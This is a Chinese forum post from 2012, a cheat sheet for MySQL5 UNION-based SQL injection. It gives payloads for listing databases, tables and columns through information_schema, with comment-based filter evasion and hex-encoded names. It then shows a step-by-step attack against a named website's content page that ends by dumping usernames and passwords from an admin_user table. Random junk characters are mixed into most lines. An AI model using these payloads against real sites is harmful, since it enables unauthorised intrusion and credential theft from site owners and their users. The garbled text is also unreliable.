查库
6 ~* A" F& t6 v, q7 _
: m. y8 e: z6 N5 s2 [id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
% n: M ~' Z: E* {5 k$ M' T; ^9 J
/ P! U7 S' q$ c' J! d查表
) Y! r9 _; u9 G6 g9 j. N a/ l8 n* P; S- _4 ^7 { h
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1( m7 A" Y. d# S' b" I) ~
" w5 ~6 g5 ]' t查段* a) R$ i% |3 u# M4 E
+ I# t; q5 A: e) ]- s! hid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1$ e v3 J+ ~+ X' y0 x! f+ A
% B" p8 D) [# w/ Z
8 G/ k! o$ m9 [/ F
mysql5高级注入方法暴表$ f, }7 B1 H( J8 \
0 _1 Z# V3 C h- Q7 r9 V1 o' \# [例子如下:3 y1 C3 b/ d8 e& M3 A5 t. a
8 D4 i( b; L o# L1.爆表
7 |5 h N1 F. `/ uhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
' B+ n6 P! c% P6 I2 J0 ?# }9 i这样爆到第4个时出现了admin_user表。
5 W$ M& h" Z5 J2 W; ]& ?- M5 z0 A) N9 b" \- X8 n+ f
2.暴字段. N0 v& |0 O7 Z* r
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
, v4 n. W( \, _( T* v% a
2 R- x: G6 g# m o4 f& p' _* T
1 q0 e8 i, O: _ T: y. l: ]! S3.爆密码
. x- j; H3 F: j$ {http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/* * w b9 F, Y+ S* D* w V+ b% N
0 j/ `& d' F5 C6 H* h9 t/ R( W7 Z; H8 Q
|
发表于 2012-9-13 16:29:37
收藏
支持
反对